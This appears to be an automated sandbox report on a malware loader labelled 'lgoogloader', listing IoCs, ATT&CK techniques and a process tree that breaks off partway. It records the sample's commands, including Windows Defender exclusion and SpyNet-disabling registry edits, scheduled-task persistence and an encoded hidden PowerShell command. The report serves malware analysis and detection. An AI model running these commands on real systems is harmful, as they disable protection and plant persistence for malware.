lgoogloader | 85b73b7b3c9acc6648beb77ce878ebeea26a2a949bf17c3184f2bd4544d12b45

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	GyGwNjN9BvWWcW_LH7xXK74L.exe

Downloads MZ/PE file

Executes dropped EXE 11 IoCs

pid	Process
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
2768	oEUWOJWr7FDyoolxfI_ghnzJ.exe
1152	7ZWomrEScjBjZRVE8eYQgR44.exe
1036	afnc4GC8US7apLGTru6mFPMK.exe
2480	sJsYt0xwlbe07pKAfhHf_Bv4.exe
468	RTEazUFMZOgx28yBe5_X0Ltq.exe
1424	7IhIrPonzR4AQilW3xYS_bH9.exe
3860	Bu7VfgdNficwrRrXVT3CSzQL.exe
1080	WGrWP2G6bWZ1GzAC4TIwK8pF.exe
1328	dllGcvQj4waXvaAJ4ZiAWBWk.exe
3816	9DjWR1JAfcRjH5p6_q2HzjFM.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/memory/5568-409-0x0000000140000000-0x000000014061C000-memory.dmp	vmprotect

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GyGwNjN9BvWWcW_LH7xXK74L.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GyGwNjN9BvWWcW_LH7xXK74L.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Service.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	GyGwNjN9BvWWcW_LH7xXK74L.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Service.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	GyGwNjN9BvWWcW_LH7xXK74L.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ipinfo.io
10	ipinfo.io
20	ipinfo.io
21	ipinfo.io

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy	GyGwNjN9BvWWcW_LH7xXK74L.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	GyGwNjN9BvWWcW_LH7xXK74L.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	GyGwNjN9BvWWcW_LH7xXK74L.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	GyGwNjN9BvWWcW_LH7xXK74L.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2412	Service.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Service.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Service.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 20 IoCs

pid	pid_target	Process	procid_target
3688	1080	WerFault.exe	102
4568	3796	WerFault.exe	159
5200	4412	WerFault.exe	162
5592	3796	WerFault.exe	159
5744	4412	WerFault.exe	162
6032	3796	WerFault.exe	159
4492	4412	WerFault.exe	162
5188	3796	WerFault.exe	159
6052	4412	WerFault.exe	162
4348	3796	WerFault.exe	159
5980	4412	WerFault.exe	162
780	5632	WerFault.exe	234
5672	3796	WerFault.exe	159
5260	4412	WerFault.exe	162
5440	3796	WerFault.exe	159
4152	4412	WerFault.exe	162
5108	3796	WerFault.exe	159
5628	4412	WerFault.exe	162
5492	3796	WerFault.exe	159
5392	4412	WerFault.exe	162

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3016	schtasks.exe
4976	schtasks.exe
332	schtasks.exe
580	schtasks.exe
2352	schtasks.exe
2524	schtasks.exe
2924	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2380	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
5388	tasklist.exe
6080	tasklist.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
1968	taskkill.exe
220	taskkill.exe
6016	taskkill.exe
5176	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	GyGwNjN9BvWWcW_LH7xXK74L.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5612	PING.EXE
2304	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	274	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2412	Service.exe
2412	Service.exe
2412	Service.exe
2412	Service.exe
2412	Service.exe
2412	Service.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe
4276	GyGwNjN9BvWWcW_LH7xXK74L.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 4276	2412	Service.exe	81
PID 2412 wrote to memory of 4276	2412	Service.exe	81
PID 2412 wrote to memory of 4276	2412	Service.exe	81
PID 2412 wrote to memory of 580	2412	Service.exe	83
PID 2412 wrote to memory of 580	2412	Service.exe	83
PID 2412 wrote to memory of 580	2412	Service.exe	83
PID 2412 wrote to memory of 2352	2412	Service.exe	84
PID 2412 wrote to memory of 2352	2412	Service.exe	84
PID 2412 wrote to memory of 2352	2412	Service.exe	84
PID 4276 wrote to memory of 1152	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	97
PID 4276 wrote to memory of 1152	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	97
PID 4276 wrote to memory of 1152	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	97
PID 4276 wrote to memory of 2768	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	96
PID 4276 wrote to memory of 2768	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	96
PID 4276 wrote to memory of 2768	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	96
PID 4276 wrote to memory of 1036	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	95
PID 4276 wrote to memory of 1036	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	95
PID 4276 wrote to memory of 2480	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	94
PID 4276 wrote to memory of 2480	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	94
PID 4276 wrote to memory of 1424	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	98
PID 4276 wrote to memory of 1424	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	98
PID 4276 wrote to memory of 1424	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	98
PID 4276 wrote to memory of 3860	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	99
PID 4276 wrote to memory of 3860	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	99
PID 4276 wrote to memory of 3860	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	99
PID 4276 wrote to memory of 468	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	103
PID 4276 wrote to memory of 468	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	103
PID 4276 wrote to memory of 468	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	103
PID 4276 wrote to memory of 3816	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	100
PID 4276 wrote to memory of 3816	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	100
PID 4276 wrote to memory of 3816	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	100
PID 4276 wrote to memory of 1080	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	102
PID 4276 wrote to memory of 1080	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	102
PID 4276 wrote to memory of 1080	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	102
PID 4276 wrote to memory of 1328	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	101
PID 4276 wrote to memory of 1328	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	101
PID 4276 wrote to memory of 1328	4276	GyGwNjN9BvWWcW_LH7xXK74L.exe	101

C:\Users\Admin\AppData\Local\Temp\Service.exe
"C:\Users\Admin\AppData\Local\Temp\Service.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Users\Admin\Documents\GyGwNjN9BvWWcW_LH7xXK74L.exe
  "C:\Users\Admin\Documents\GyGwNjN9BvWWcW_LH7xXK74L.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks computer location settings
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Users\Admin\Pictures\Minor Policy\sJsYt0xwlbe07pKAfhHf_Bv4.exe
    "C:\Users\Admin\Pictures\Minor Policy\sJsYt0xwlbe07pKAfhHf_Bv4.exe"
    3⤵
    - Executes dropped EXE
    PID:2480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1567.tmp.bat""
      4⤵
      PID:1964
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2380
    - - C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        5⤵
        
        PID:3768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        6⤵
        
        PID:2436
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        6⤵
        
        PID:5652
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      PID:4804
- - C:\Users\Admin\Pictures\Minor Policy\afnc4GC8US7apLGTru6mFPMK.exe
    "C:\Users\Admin\Pictures\Minor Policy\afnc4GC8US7apLGTru6mFPMK.exe"
    3⤵
    - Executes dropped EXE
    PID:1036
- - C:\Users\Admin\Pictures\Minor Policy\oEUWOJWr7FDyoolxfI_ghnzJ.exe
    "C:\Users\Admin\Pictures\Minor Policy\oEUWOJWr7FDyoolxfI_ghnzJ.exe" /SP-/VERYSILENT /SUPPRESSMSGBOXES /INSTALLERSHOWNELSEWHERE /pid=747
    3⤵
    - Executes dropped EXE
    PID:2768
  - - C:\Users\Admin\AppData\Local\Temp\is-HV2HA.tmp\oEUWOJWr7FDyoolxfI_ghnzJ.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-HV2HA.tmp\oEUWOJWr7FDyoolxfI_ghnzJ.tmp" /SL5="$A0040,11860388,791040,C:\Users\Admin\Pictures\Minor Policy\oEUWOJWr7FDyoolxfI_ghnzJ.exe" /SP-/VERYSILENT /SUPPRESSMSGBOXES /INSTALLERSHOWNELSEWHERE /pid=747
      4⤵
      PID:3636
- - C:\Users\Admin\Pictures\Minor Policy\7ZWomrEScjBjZRVE8eYQgR44.exe
    "C:\Users\Admin\Pictures\Minor Policy\7ZWomrEScjBjZRVE8eYQgR44.exe"
    3⤵
    - Executes dropped EXE
    PID:1152
- - C:\Users\Admin\Pictures\Minor Policy\7IhIrPonzR4AQilW3xYS_bH9.exe
    "C:\Users\Admin\Pictures\Minor Policy\7IhIrPonzR4AQilW3xYS_bH9.exe"
    3⤵
    - Executes dropped EXE
    PID:1424
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:2088
- - C:\Users\Admin\Pictures\Minor Policy\Bu7VfgdNficwrRrXVT3CSzQL.exe
    "C:\Users\Admin\Pictures\Minor Policy\Bu7VfgdNficwrRrXVT3CSzQL.exe"
    3⤵
    - Executes dropped EXE
    PID:3860
  - - C:\Users\Admin\AppData\Local\Temp\7zS54A8.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:4176
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF46.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        5⤵
        
        PID:3844
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:1340
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:4012
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:3796
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:4368
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:2776
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:3324
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:1832
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:3152
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gvnQjqhMK" /SC once /ST 00:09:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:3016
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gvnQjqhMK"
        6⤵
        
        PID:3732
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gvnQjqhMK"
        6⤵
        
        PID:4568
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bwTyVIlSpCoBEcNRGc" /SC once /ST 01:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EDdmQQsRZYMnupcka\VHSmdiHZODWiKhD\eSWHRjH.exe\" VP /site_id 525403 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:4976
- - C:\Users\Admin\Pictures\Minor Policy\9DjWR1JAfcRjH5p6_q2HzjFM.exe
    "C:\Users\Admin\Pictures\Minor Policy\9DjWR1JAfcRjH5p6_q2HzjFM.exe"
    3⤵
    - Executes dropped EXE
    PID:3816
  - - C:\Users\Admin\AppData\Local\Temp\is-IRAFI.tmp\9DjWR1JAfcRjH5p6_q2HzjFM.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-IRAFI.tmp\9DjWR1JAfcRjH5p6_q2HzjFM.tmp" /SL5="$B0046,140559,56832,C:\Users\Admin\Pictures\Minor Policy\9DjWR1JAfcRjH5p6_q2HzjFM.exe"
      4⤵
      PID:2296
    - - C:\Users\Admin\AppData\Local\Temp\is-8E9DL.tmp\PowerOff.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-8E9DL.tmp\PowerOff.exe" /S /UID=95
        5⤵
        
        PID:2076
      - C:\Users\Admin\AppData\Local\Temp\65-83463-84d-0f895-99a02265803b9\Herypaevumy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\65-83463-84d-0f895-99a02265803b9\Herypaevumy.exe"
        6⤵
        
        PID:5008
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        7⤵
        
        PID:4380
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd3c5c46f8,0x7ffd3c5c4708,0x7ffd3c5c4718
        8⤵
        
        PID:580
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 /prefetch:2
        8⤵
        
        PID:3260
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
        8⤵
        
        PID:5088
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2792 /prefetch:8
        8⤵
        
        PID:1876
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
        8⤵
        
        PID:5216
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
        8⤵
        
        PID:5260
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4528 /prefetch:8
        8⤵
        
        PID:5432
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1
        8⤵
        
        PID:5708
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4612 /prefetch:1
        8⤵
        
        PID:4004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4624 /prefetch:1
        8⤵
        
        PID:3520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2200,10560605343352106253,15149607899936063229,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5816 /prefetch:8
        8⤵
        
        PID:5696
      - C:\Users\Admin\AppData\Local\Temp\cd-18eb3-2e4-998ad-8a35a3ef3dbe0\Lygygeshale.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cd-18eb3-2e4-998ad-8a35a3ef3dbe0\Lygygeshale.exe"
        6⤵
        
        PID:3744
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5gwc0at3.a22\GcleanerEU.exe /eufive & exit
        7⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\5gwc0at3.a22\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\5gwc0at3.a22\GcleanerEU.exe /eufive
        8⤵
        
        PID:3796
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 452
        9⤵
        Program crash
        
        PID:4568
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 764
        9⤵
        Program crash
        
        PID:5592
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 772
        9⤵
        Program crash
        
        PID:6032
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 792
        9⤵
        Program crash
        
        PID:5188
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 776
        9⤵
        Program crash
        
        PID:4348
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 1008
        9⤵
        Program crash
        
        PID:5672
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 856
        9⤵
        Program crash
        
        PID:5440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 1368
        9⤵
        Program crash
        
        PID:5108
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\5gwc0at3.a22\GcleanerEU.exe" & exit
        9⤵
        
        PID:6140
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        10⤵
        Kills process with taskkill
        
        PID:6016
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 1288
        9⤵
        Program crash
        
        PID:5492
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3x4igyun.1jm\gcleaner.exe /mixfive & exit
        7⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\3x4igyun.1jm\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\3x4igyun.1jm\gcleaner.exe /mixfive
        8⤵
        
        PID:4412
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 452
        9⤵
        Program crash
        
        PID:5200
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 764
        9⤵
        Program crash
        
        PID:5744
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 772
        9⤵
        Program crash
        
        PID:4492
        
        C:\Windows\SysWOW64\WerFault.exe
        
